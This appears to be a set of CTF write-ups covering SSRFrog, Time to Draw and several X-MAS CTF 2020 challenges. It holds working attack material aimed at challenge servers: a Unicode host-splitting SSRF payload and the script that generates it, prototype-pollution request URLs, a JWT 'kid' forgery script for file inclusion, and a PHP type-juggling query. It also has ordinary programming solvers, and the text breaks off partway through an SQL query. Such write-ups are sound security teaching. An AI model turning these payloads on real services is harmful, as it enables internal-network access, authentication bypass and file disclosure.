SSRFrog

If you see the view-source of html code, you can easily find the syntax below.

FLAG is on this server: http://the.c0o0o0l-fl444g.server.internal:80

It also provides back-end source code

const express = require("express");
const http = require("http");

const app = express();

app.get("/source", (req, res) => {
    return res.sendFile(__filename);
})
app.get('/', (req, res) => {
    const { url } = req.query;
    if (!url || typeof url !== 'string') return res.sendFile(__dirname + "/index.html");

    // no duplicate characters in `url`
    if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");

    try {
        http.get(url, resp => {
            resp.setEncoding("utf-8");
            resp.statusCode === 200 ? resp.on('data', data => res.send(data)) : res.send(":(");
        }).on('error', () => res.send("WTF?"));
    } catch (error) {
        res.send("WTF?");
    }
});

app.listen(3000, '0.0.0.0');

It is a kind of SSRF(Server side request forgery) challenge.

But there are filters checking data type, input type.

if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");

The filter code above means, no duplicate characters are not allowed.

If you use character a 'x', you cannot use that char anymore. Because, data-structure Set reduces duplicate element.

 

To make the url http://the.c0o0o0l-fl444g.server.internal:80 with no duplicate word is main challenge detail. 

Host splitting attack

By using host splitting attack, we can do that.

Main reason the host splitting attack is possible, the unicode normalization spec of http implementation.

If you try to connect http://www.ⓐⓑⓒ.com, it will normalized to www.abc.com, this behavior is not bug.

 

I tried bruteforce all range in unicode char, can make similar characters with target domain.

 

#-*- coding:utf-8 -*-

import sys

target = "HTtP:/\\the.c0o0o0l-fl444g.server.internal"
ans = list(target)
print (ans)
print (len(ans))
chars = set(target)
req = {}
for c in chars:
    if target.count(c) > 1:
     req[c] = target.count(c) - 1
print (req)
for v in (range(256, 0xffff)):
    try:
        if len(req) == 0:
            break
        result = chr(v).encode('idna').decode('utf-8')
        if result in req.keys():
            print(result, v, chr(v))
            for i in range(len(ans)):
                if ans[i] == result:
                    ans[i] = chr(v)
                    break
            req[result] = req[result] - 1
            if req[result] == 0:
                del req[result]
    except:
        pass
print (req)
print ("HTtP:/\\" + "".join(ans)[7:])

# new URL("HTtP:/\ⓣhℯ.c⁰ℴ₀o0ˡ-fℒ⁴₄4g.sℰʳvⅇℛ.iⁿTernal").origin == 'http://the.c0o0o0l-fl444g.server.internal'

It returns similar host name.

But it doesn't work at javascript function, because of invalid dot(.) substitution unicode character.

 

So, I run bruteforce with javascript

When you type the below value, you can get the flag!

HTtP:/\ⓣhℯ。c⁰ℴ₀o0ˡ-fℒ⁴₄4g.sℰʳvⅇℛ.iⁿTernal

Time to Draw

This challenge provides server code too.

I didn't back-up challenge details, only solved the problem.

 

Main vulnerability is prototype pollution.

Prototype pollution

Prototype is javascript feature.

blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/

As the link say, prototype pollution is like belowed.

__proto__ === Object.prototype

If you can change the value of someVariable.__proto__.token, you can change all token member variable of object that does not have member variable name 'token'.

 

Example PoC code is like below.

canvas = Array();

canvas['__proto__']['token'] = 'my_evil_value';

var other_object = {};

console.log(other_object.token); // 'my_evil_value';

other_object.token should be the undefined variable, but prototype.token value is polluted, you can get the specific value.

 

I get the hash value of my custom ip and token

➜  ~ node
Welcome to Node.js v12.19.0.
Type ".help" for more information.
> var crypto = require('crypto');
undefined
> const hash = (token) => crypto.createHash("sha256").update(token).digest('hex');
undefined
> hash("42.29.23.221234567890123456")
'f6726c5dcd8635dd2ae8da8dcef74bdfca22c5a27e309ef7bec5f533a7b4ffb6'
>

You can pollute with the request below

http://chall.ctf.bamboofox.tw:8787/api/draw?x=__proto__&y=token&color=f6726c5dcd8635dd2ae8da8dcef74bdfca22c5a27e309ef7bec5f533a7b4ffb6

Then, you can get the flag with the request below

http://chall.ctf.bamboofox.tw:8787/flag?token=1234567890123456

Without admin cookie, userData.token === undefined, but with polluted prototype, you can bypass the check.

 

flag{baby.proto.pollution.js}

I participated in X-mas CTF 2020(xmas.htsp.ro/) held from 11st december 2020, to 18th december 2020.

X-mas CTF is one of my favorite competition because, it held with long period so that I don't have to dedicate all of my resources to the round.

I collaborated with jeongwon jo(burp.kr/), team name was 'Play the web'.

I had great fun with this challs.

If you want to see the write-up written by jeongwon jo, follow the link(burp.kr/2020/X-MAS-CTF-2020/)

 

Misc - PMB

This challenge seems very weird. When I connected the server with nc, there are some weird text lines.

The server get my number input of which modulus is less than 100.

 

$ nc challs.xmas.htsp.ro 6002
#########################
#  _____  __  __ ____   #
# |  __ \|  \/  |  _ \  #
# | |__) | \  / | |_) | #
# |  ___/| |\/| |  _ <  #
# | |    | |  | | |_) | #
# |_|    |_|  |_|____/  #
#                       #
#########################
Welcome to our hacker-friendly terminal service!
This program is a part of our 'friendlier products for hackers' initiative.
Please select an action:
1. Open account
2. Report account
*you select 1*
That's great! As you probably know, our bank provides anonymous choose-your-interest-rate accounts.
Please keep in mind that the interest rate can be *any* number as long as its modulus is less than 100.
Interest: 1
Creating your account...
*your account has been created*
Received $1000 with attached note: 'ransom payment'
Balance: $1000
*request money withdrawal*
*error: your account must be at least 4 months old*

Month 1
-------
Balance: $1000.0
Your account has been reported by an anonymous user. CIA confiscated your funds.
Balance: $0.0

Month 2
-------
Balance: $0.0
Your account has been reported by an anonymous user. FBI confiscated your funds.
Balance: $0.0

Month 3
-------
Balance: $0.0
Your account has been reported by an anonymous user. INTERPOL confiscated your funds.
Balance: $0.0

Month 4
-------
Balance: $0.0
*you want to buy a flag for $10 million*
ERROR: Not enough funds.

There is a hint, the modulus is absolute value.

Furthermore, the challgne name is PMB(Python Math Bank). So I thought it is related with mathematical function in python.

I googled about abs function in python.

I found that return value of abs function when input parameter is not real number but complex number.(imaginary number).

The inspiration is following.

>>> abs(1+99j)
99.00505037623081

So, I entered the complex number (1+99j)

The result was awesome!

$ nc challs.xmas.htsp.ro 6002
#########################
#  _____  __  __ ____   #
# |  __ \|  \/  |  _ \  #
# | |__) | \  / | |_) | #
# |  ___/| |\/| |  _ <  #
# | |    | |  | | |_) | #
# |_|    |_|  |_|____/  #
#                       #
#########################
Welcome to our hacker-friendly terminal service!
This program is a part of our 'friendlier products for hackers' initiative.
Please select an action:
1. Open account
2. Report account
*you select 1*
That's great! As you probably know, our bank provides anonymous choose-your-interest-rate accounts.
Please keep in mind that the interest rate can be *any* number as long as its modulus is less than 100.
Interest: 1+99j
Creating your account...
*your account has been created*
Received $1000 with attached note: 'ransom payment'
Balance: $1000
*request money withdrawal*
*error: your account must be at least 4 months old*

Month 1
-------
Balance: $(1000+99000j)
Your account has been reported by an anonymous user. CIA confiscated your funds.
Balance: $99000j

Month 2
-------
Balance: $(-9801000+99000j)
Your account has been reported by an anonymous user. FBI confiscated your funds.
Balance: $(-9801000+99000j)

Month 3
-------
Balance: $(-19602000-970200000j)
Your account has been reported by an anonymous user. INTERPOL confiscated your funds.
Balance: $(-19602000-970200000j)

Month 4
-------
Balance: $(96030198000-2910798000j)
*you want to buy a flag for $10 million*
GG!
X-MAS{th4t_1s_4n_1nt3r3st1ng_1nt3r3st_r4t3-0116c512b7615456}

Thanks to counterintuitive arithmetic result of complex number, we can get the flag!

Programming - Biggest Lowest

$ nc challs.xmas.htsp.ro 6051
So you think you have what it takes to be a good programmer?
Then solve this super hardcore task:
Given an array print the first k1 smallest elements of the array in increasing order and then the first k2 elements of the array in decreasing order.
You have 50 tests that you'll gave to answer in maximum 45 seconds, GO!
Here's an example of the format in which a response should be provided:
1, 2, 3; 10, 9, 8

Test number: 1/50
array = [6, 6, 5, 7, 3]
k1 = 1
k2 = 3

 

This is not the the cyber security challenge. It is such kind of a traditional competitive programming challenge.

The problem can be solved by deterministic computer algorithm.

This challenge is a easy one, just sort and print leading segment tailing segment.

The solver code is following

#!/usr/bin/env python3.5
from pwn import *
import sys

p = remote("challs.xmas.htsp.ro", 6051)

def solve():
    global p
    p.recvuntil("array = [")
    array = sorted(list(map(int, p.recvuntil("]")[:-1].split(b","))))
    p.recvuntil("k1 = ")
    k1 = int(p.recvuntil("\n"))
    p.recvuntil("k2 = ")
    k2 = int(p.recvuntil("\n"))
    ans1 = [str(array[i]) for i in range(k1)]
    ans2 = [str(array[-i]) for i in range(1, k2+1)]
    p.sendline(", ".join(ans1) + "; " + ", ".join(ans2))
    res = p.recvuntil("!")
    print (res)
    if b"Good" not in res:
        sys.exit()
for i in (range(50)):
    print ("Doing... {}/50".format(i))
    solve()
print (p.recv())
p.close()
# flag is X-MAS{th15_i5_4_h34p_pr0bl3m_bu7_17'5_n0t_4_pwn_ch41l}

Programming - Many Paths

$ nc challs.xmas.htsp.ro 6053
I swear that Santa is going crazy with those problems, this time we're really screwed!
The new problem asks us the following:
Given an undirected graph of size N by its adjacency matrix and a set of forbidden nodes, tell me how many paths from node 1 to node N of exactly length L that don't pass through any of the forbidden nodes exist (please note that a node can be visited multiple times)?
And if that wasn't enough, we need to answer 40 of those problems in 45 seconds and to give each output modulo 666013. What does that even mean!?

Test number: 1/40
N = 5
adjacency matrix:
0,1,1,0,1
1,0,0,0,1
1,0,0,0,1
0,0,0,0,0
1,1,1,0,0
forbidden nodes: [4]
L = 6

This challenge can be solved with simple dynamic programming idea.

Let's define 2-dimension dynamic programming cache array.

Let's define the "dp[a][b]" => number of cases reach to 'b' place with length of 'a'

Then I can write solver with only python implementing this idea.

#!/usr/bin/env python3.5
from pwn import *
import sys

p = remote('challs.xmas.htsp.ro', 6053)

def solve():
    mod = 666013
    p.recvuntil("N = ")
    N = int(p.recvuntil("\n").rstrip(b"\n"))
    adj = []
    p.recvuntil("matrix:\n")
    for i in range(N):
        row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
        adj.append(row)
    p.recvuntil("nodes: [")
    forbidden = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
    p.recvuntil("L = ")
    L = int(p.recvuntil("\n").rstrip(b"\n"))
    dp = [[0 for i in range(N)] for j in range(L+1)]
    
    dp[0][0] = 1
    # print (dp)
    for i in range(1, L+1):
        for j in range(N):
            if j+1 in forbidden:
                continue
            for k in range(N):
                if k+1 in forbidden:
                    continue
                if adj[j][k] != 0:
                    # there is path between j and k
                    dp[i][j] += dp[i-1][k]
                    dp[i][j] %= mod
    ans = dp[L][N-1]
    p.sendline(str(ans))
    res = p.recvuntil("!")
    if b"Good" not in res:
        print (N)
        print (adj)
        print (forbidden)
        print (L)
        print (dp)
        print (ans)
        p.close()
        sys.exit()
    else:
        print("Correct! N={}, L={}".format(N, L))

for i in range(40):
    print ("Solving {}/40".format(i))
    solve()
p.interactive()

But this solver code is too slow to get the flag. Perhaps near about 26/40 test case, got time limit exceed judge.

Analysising the test case, L length is much larger than N value. I reduced memory usage due to dp array.

#!/usr/bin/env python3.5
from pwn import *
import sys

p = remote('challs.xmas.htsp.ro', 6053)

def solve():
    mod = 666013
    p.recvuntil("N = ")
    N = int(p.recvuntil("\n").rstrip(b"\n"))
    adj = []
    p.recvuntil("matrix:\n")
    for i in range(N):
        row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
        adj.append(row)
    p.recvuntil("nodes: [")
    forbidden = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
    p.recvuntil("L = ")
    L = int(p.recvuntil("\n").rstrip(b"\n"))
    dp = [[0 for i in range(N)] for j in range(2)]
    
    dp[0][0] = 1
    # print (dp)
    for i in range(1, L+1):
        for j in range(N):
            if j+1 in forbidden:
                continue
            for k in range(N):
                if k+1 in forbidden:
                    continue
                if adj[j][k] != 0:
                    # there is path between j and k
                    dp[i%2][j] += dp[(i+1)%2][k]
                    dp[i%2][j] %= mod
        dp[(i+1)%2] = [0 for i in range(N)]
    ans = dp[L%2][N-1]
    p.sendline(str(ans))
    res = p.recvuntil("!")
    
    if b"Good" not in res:
        print (N)
        print (adj)
        print (forbidden)
        print (L)
        print (dp)
        print (ans)
        p.close()
        sys.exit()
    else:
        print("Correct! N={}, L={}".format(N, L))

for i in range(40):
    print ("Solving {}/40".format(i))
    solve()
p.interactive()

But the code is slow yet.

I used adjacent list instead of adjacent matrix.

#!/usr/bin/env python3.5
from pwn import *
import sys

p = remote('challs.xmas.htsp.ro', 6053)

def solve():
    mod = 666013
    p.recvuntil("N = ")
    N = int(p.recvuntil("\n").rstrip(b"\n"))
    adj = []
    p.recvuntil("matrix:\n")
    for i in range(N):
        row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
        adj.append(row)
    p.recvuntil("nodes: [")
    forbidden = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
    p.recvuntil("L = ")
    L = int(p.recvuntil("\n").rstrip(b"\n"))
    dp = [[0 for i in range(N)] for j in range(2)]
    edges = [[] for i in range(N)]
    for i in range(N):
        for j in range(N):
            if j+1 in forbidden:
                continue
            if adj[i][j] != 0:
                edges[i].append(j)
    dp[0][0] = 1
    for i in range(1, L+1):
        for j in range(N):
            if j+1 in forbidden:
                continue
            for k in edges[j]:
                if adj[j][k] != 0:
                    # there is path between j and k
                    dp[i%2][j] += dp[(i+1)%2][k]
                    dp[i%2][j] %= mod
        dp[(i+1)%2] = [0 for i in range(N)]
    ans = dp[L%2][N-1]
    p.sendline(str(ans))
    res = p.recvuntil("!")
    
    if b"Good" not in res:
        print (N)
        print (adj)
        print (forbidden)
        print (L)
        print (dp)
        print (ans)
        p.close()
        sys.exit()
    else:
        print("Correct! N={}, L={}".format(N, L))

for i in range(40):
    print ("Solving {}/40".format(i))
    solve()
p.interactive()

Maybe slow yet.

I wrote cpp based solver, make the python code take advantage of the cpp solver.

#!/usr/bin/env python3.5
from pwn import *
import sys

p = remote('challs.xmas.htsp.ro', 6053)

def solve():
    mod = 666013
    p.recvuntil("N = ")
    N = int(p.recvuntil("\n").rstrip(b"\n"))
    adj = []
    p.recvuntil("matrix:\n")
    for i in range(N):
        row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
        adj.append(row)
    p.recvuntil("nodes: [")
    ban = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
    p.recvuntil("L = ")
    L = int(p.recvuntil("\n").rstrip(b"\n"))
    solver = process('./csolver')

    solver.sendline(str(N))
    for i in range(N):
        solver.sendline(" ".join(map(str,adj[i])))
    solver.sendline(str(len(ban)))
    for b in ban:
        solver.sendline(str(b))
    solver.sendline(str(L))
    ans = int(solver.recvuntil(b"\n").rstrip(b"\n"))
    solver.close()
    p.sendline(str(ans))
    res = p.recvuntil("!")
    
    if b"Good" not in res:
        print (N)
        print (adj)
        print (ban)
        print (L)
        print (dp)
        print (ans)
        p.close()
        sys.exit()
    else:
        print("Correct! N={}, L={}".format(N, L))

for i in range(40):
    print ("Solving {}/40".format(i))
    solve()
p.interactive()

cpp solver code following.

#include <bits/stdc++.h>
using namespace std;
int adj[100][100];
int dp[2][100];
vector<int> edges[100];
set<int> ban;
const int MOD = 666013;
int main() {
    int N, L, bl;
    cin >> N;
    for (int i=0; i < N; i++)
        for (int j=0; j < N; j++) 
            cin >> adj[i][j];
    cin >> bl;
    while(bl--) {
        int tmp; cin >> tmp;
        tmp--;
        ban.insert(tmp);
    }
    cin >> L;
    for (int i=0; i< N; i++) {
        if (ban.find(i) != ban.end()) continue;
        for (int j=0;j < N; j++)
            if (adj[i][j])
                edges[i].push_back(j);
    }
    dp[0][0] = 1;
    for (int i=1; i <= L; i++) {
        for (int j=0;j < N; j++) {
            if (ban.find(j) != ban.end()) continue;
            for (int l=0; l < edges[j].size(); l++) {
                int k = edges[j][l];
                dp[i%2][j] += dp[(i+1)%2][k];
                dp[i%2][j] %= MOD;
            }
        }
        for (int j=0;j < N; j++)
            dp[(i+1)%2][j] = 0;
    }
    cout << dp[L%2][N-1] << endl;
    return 0;
}

Finally, my solver solved all test cases, got the flag!

But, the flag implies that the intended solution is matrix expansion.

 

I think about it, then I can solve the challenge with matrix multiplication.

Because, the next dp array is defined with linear combination of previous dp array.

If the recurrence relation can be denoted with linear combination of previous variable, we can transform recurrence relation into matrix multiplication.

The matrix is the adjacent matrix.

Matrix multiplication computing time complexity can be reduced with O(lg(L)* A), A is constant the cost of matrix multiplication.

The final solve code with matrix multiplication is following

#!/usr/bin/env python3.5
from pwn import *
import numpy as np
from numpy.linalg import matrix_power
import sys

mod = 666013
p = remote('challs.xmas.htsp.ro', 6053)
def power(mat, exp):
    global mod
    if exp <= 1:
        return mat % mod
    if exp % 2 == 0:
        half = power(mat, exp//2)
        return half * half % mod
    else:
        return power(mat, exp-1) * mat % mod
def solve():
    global mod
    p.recvuntil("N = ")
    N = int(p.recvuntil("\n").rstrip(b"\n"))
    adj = []
    p.recvuntil("matrix:\n")
    for i in range(N):
        row = list(map(int, p.recvuntil("\n").rstrip(b"\n").split(b",")))
        adj.append(row)
    p.recvuntil("nodes: [")
    ban = list(map(int, filter(None, p.recvuntil("]").rstrip(b']').split(b","))))
    p.recvuntil("L = ")
    L = int(p.recvuntil("\n").rstrip(b"\n"))
    
    mat = np.asmatrix(adj)
    rmat = power(mat, L)

    ans = rmat[0,N-1]
    p.sendline(str(ans))
    res = p.recvuntil("!")
    if b"Good" not in res:
        print (res)
        print (N)
        print (adj)
        print (ban)
        print (L)
        print (ans)
        p.close()
        sys.exit()
    else:
        print("Correct! N={}, L={}".format(N, L))

for i in range(40):
    print ("Solving {}/40".format(i))
    solve()
print (p.recvuntil("}"))
p.close()

 

Web - PHP Master

Taking advantage of php type juggling. == operator allows type juggling with loose comparision. === operation does not allow type juggling, strict comparision.

 

http://challs.xmas.htsp.ro:3000/?param1=1.0&param2=001

Web - Santa's consolation

Javascript challenge.

function check(s) {
    const k="MkVUTThoak44TlROOGR6TThaak44TlROOGR6TThWRE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOendYTndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYwRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOEZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3bk13RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThCVE14d0hPMnczTTF3M056d25OMnczTTF3M056dzNOeEVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFBVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04bFRPOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGRUTzhoak44TlROOGR6TThaak44TlROOGR6TThSVE14d0hPMnczTTF3M056d25OMnczTTF3M056d1hPNXdITzJ3M00xdzNOenduTjJ3M00xdzNOenduTXlFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYzRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOGhETjhoak44TlROOGR6TThaak44TlROOGR6TThGak14d0hPMnczTTF3M056d25OMnczTTF3M056d25NeUVEZjRZRGZ6VURmM01EZjJZRGZ6VURmM01EZjFFVE04aGpOOE5UTjhkek04WmpOOE5UTjhkek04RkRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITndFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYxRVRNOGhqTjhOVE44ZHpNOFpqTjhOVE44ZHpNOFZETXh3SE8ydzNNMXczTnp3bk4ydzNNMXczTnp3WE94RURmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmeUlUTThoak44TlROOGR6TThaak44TlROOGR6TThkVE84aGpOOE5UTjhkek04WmpOOE5UTjhkek04WlRNeHdITzJ3M00xdzNOenduTjJ3M00xdzNOendITXhFRGY0WURmelVEZjNNRGYyWURmelVEZjNNRGYza0RmNFlEZnpVRGYzTURmMllEZnpVRGYzTURmMUVUTTAwMDBERVRDQURFUg==";const k1=atob(k).split('').reverse().join('');
    return bobify(s)===k1;
}
function bobify(s) {
    if (~s.indexOf('a') || ~s.indexOf('t') || ~s.indexOf('e') || ~s.indexOf('i') || ~s.indexOf('z')) //a,t,e,i,z가 포함되면 안됨.
        return "[REDACTED]";
    const s1 = s.replace(/4/g, 'a').replace(/3/g, 'e').replace(/1/g, 'i').replace(/7/g, 't').replace(/_/g, 'z').split('').join('[]');
    const s2 = encodeURI(s1).split('').map(c => c.charCodeAt(0)).join('|');
    const s3 = btoa("D@\xc0\t1\x03\xd3M4" + s2);
    return s3;
}
function win(x){return check(x) ? "X-MAS{"+x+"}" : "[REDACTED]";}

check function should return true to get the flag.

k1 value is following. The condition "bobify(myinput) == k1" satisfied.

REDACTED0000MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDk3fDM3fDUzfDY2fDM3fDUzfDY4fDExMHwzN3w1M3w2NnwzN3w1M3w2OHwxMTZ8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDExOXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEwNHwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHwxMjF8Mzd8NTN8NjZ8Mzd8NTN8Njh8NDh8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE3fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMTR8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTl8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTA1fDM3fDUzfDY2fDM3fDUzfDY4fDExN3wzN3w1M3w2NnwzN3w1M3w2OHwxMTB8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDEwMnwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE0fDM3fDUzfDY2fDM3fDUzfDY4fDEwNXwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE2

heading part of s3 is "REDACTED0000"

decodeURI(atob("MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDk3fDM3fDUzfDY2fDM3fDUzfDY4fDExMHwzN3w1M3w2NnwzN3w1M3w2OHwxMTZ8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDExOXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEwNHwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE1fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHwxMjF8Mzd8NTN8NjZ8Mzd8NTN8Njh8NDh8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE3fDM3fDUzfDY2fDM3fDUzfDY4fDEyMnwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMTR8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTd8Mzd8NTN8NjZ8Mzd8NTN8Njh8OTl8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTA1fDM3fDUzfDY2fDM3fDUzfDY4fDExN3wzN3w1M3w2NnwzN3w1M3w2OHwxMTB8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTIyfDM3fDUzfDY2fDM3fDUzfDY4fDEwMnwzN3w1M3w2NnwzN3w1M3w2OHwxMDF8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE0fDM3fDUzfDY2fDM3fDUzfDY4fDEwNXwzN3w1M3w2NnwzN3w1M3w2OHw5OXwzN3w1M3w2NnwzN3w1M3w2OHwxMDV8Mzd8NTN8NjZ8Mzd8NTN8Njh8MTE2").split("|").map(c => String.fromCharCode(c)).join("")).split("[]").join("").replace(/a/g, '4').replace(/e/g, '3').replace(/i/g, '1').replace(/t/g,'7').replace(/z/g, '_');

The flag is X-MAS{s4n74_w1sh3s_y0u_cr4c1un_f3r1c17}

Web - X-Mas Chan

I checked some functions in web site.

There is suspicious function. Request for /getbanner.php returns different banner image due to cookie value.

Parsing jwt value in cookie field, the result is following.

JWT header contains kid which seems file path.

I know the some png file in the server, I can utilize the png file as jwt signing key.

I made jwt signature with pyjwt module.

#!/usr/bin/env python3
import jwt

key = None

with open("1.png", "rb") as f:
        key = f.read()
print (jwt.encode({"banner":"flag.php"}, key, algorithm="HS256", headers={"kid":"/var/www/html/banner/1.png"}))

 

I can easily get the flag, with jwt vulnerability based lfi.

<?php

$flag = "X-MAS{n3v3r_trust_y0ur_us3rs_k1ds-b72dcf5a49498400}";

?>

Web - World's Most complex SQL Query

The challenge provide us source code view.

It provide us very large and complex sql query.

Just analyze the sql query can make us get the flag.

<?php
if (isset($_GET['source'])) {
  show_source("index.php");
  die ();
}

if (isset($_POST['flag'])) {
  include ("config.php");
  $conn = new mysqli($servername, $username, $password, $dbname);

  $query = "INSERT INTO FLAG (`id`, `n`) VALUES ";
  $alf = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789?!-_{}()";
  header('Ever wondered that Soy could be pronounced: like Soiii? Me neither.');

  for ($i=0; $i<strlen($_POST['flag']) && $i < 50; $i++) {
    $c = $_POST['flag'][$i];
    if (strlen($c) === 1) {
      $indx = strpos($alf, $c);
      if ($indx !== FALSE) {
        $query .= '(' . $i . ',"' . $alf[$indx] . '"),';
      } else {
        die("Invalid char.");
      }
    } else {
      die("Invalid input?");
    }
  }

  $query = substr($query, 0, strlen($query) - 1);
  mysqli_query($conn, 'DROP TABLE IF EXISTS FLAG');
  mysqli_query($conn, 'CREATE TABLE FLAG (`id` int not null primary key, `n` char)');
  mysqli_query($conn, $query);

  $query = "SELECT o FROM ( SELECT 0 v, '' o, 0 pc FROM (SELECT @pc:=0, @mem:='', @out:='') i UNION ALL SELECT v, CASE @pc WHEN 121 THEN 0 WHEN 70 THEN @pc:=73 WHEN 87 THEN IF(@x3 = 'a', 0, @pc:=89) WHEN 32 THEN  @sp := @sp + 1 WHEN 25 THEN @sp := @sp - 1 WHEN 28 THEN  @sp := @sp + 1 WHEN 56 THEN  @sp := @sp + 1 WHEN 18 THEN IF(BIN(ASCII(@prt)) NOT LIKE '1111011', @pc:=89, 0) WHEN 126 THEN 0 WHEN 17 THEN @prt := (SELECT n FROM FLAG WHERE id = 5) WHEN 12 THEN IF((SELECT n FROM FLAG WHERE id = 2) = 'M', 0, @pc:=80) WHEN 11 THEN IF(@count = @targetsz, 0, @pc:=89) WHEN 103 THEN  @sp := @sp + 1 WHEN 41 THEN IF(INSTR(@e, '?') > 0, 0, @pc:=43) WHEN 81 THEN (SELECT @x1 := n FROM FLAG WHERE id = 4) WHEN 49 THEN IF(SUBSTR(@dat, @i - 1, 3) NOT LIKE REVERSE('%tao%'), @pc:=124, 0) WHEN 73 THEN 0 WHEN 82 THEN (SELECT @x2 := n FROM FLAG WHERE id = 5) WHEN 58 THEN  @sp := @sp + 1 WHEN 92 THEN 0 WHEN 85 THEN (SELECT @x3 := n FROM FLAG WHERE id = 6) WHEN 64 THEN IF((SELECT FIELD((COALESCE((SELECT GROUP_CONCAT(n SEPARATOR '') FROM FLAG where id in (17, ASCII(@e)/3-3, (SELECT @xx := CEILING(ASCII(@f)/3)+1))), '78')), 'ATT', 'BXX', 'ENN', 'FPP', 'VMM', 'PSS', 'ZEE', 'YDD', 'PPP')) = FLOOR(@xx / 4), 0, @pc:=89) WHEN 95 THEN IF(@n = 0, 0, @pc:=99) WHEN 74 THEN @i := @i + 1 WHEN 68 THEN (SELECT @e := CONCAT_WS('AVION', (SELECT n FROM FLAG WHERE id = @i))) WHEN 78 THEN @out := @ok WHEN 107 THEN @sp := @sp - 1 WHEN 21 THEN  @sp := @sp + 1 WHEN 83 THEN IF(@x1 = 'd', 0, @pc:=89) WHEN 104 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 31 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 122 THEN @sp := @sp - 1 WHEN 102 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n - 1,'</m>')) WHEN 45 THEN 0 WHEN 93 THEN @get_arg_tmp := @sp-2 WHEN 26 THEN @prt := (SELECT n FROM FLAG where id = 6) WHEN 86 THEN (SELECT @x4 := n FROM FLAG WHERE id = 7) WHEN 69 THEN IF(INSTR((SELECT IF(ORD(@e) = @i ^ 0x4c, @f, CHAR(@xx*2.75))), '?') = '0', 0, @pc:=71) WHEN 97 THEN @sp := @sp - 1 WHEN 59 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@pc+2,'</m>')) WHEN 108 THEN @sp := @sp - 1 WHEN 46 THEN @i := @i - 1 WHEN 115 THEN  @n:=ExtractValue(@mem,'/m[$@get_arg_tmp]') WHEN 100 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@n,'</m>')) WHEN 55 THEN @mem:=UpdateXML(@mem,'/m[$@sp]',CONCAT('<m>',@prt,'</m>')) WHEN 19 THEN @sp := 1 WHEN 24 THEN  @pc:=92 WHEN 33 THEN  @pc:=113 WHEN 29 THEN 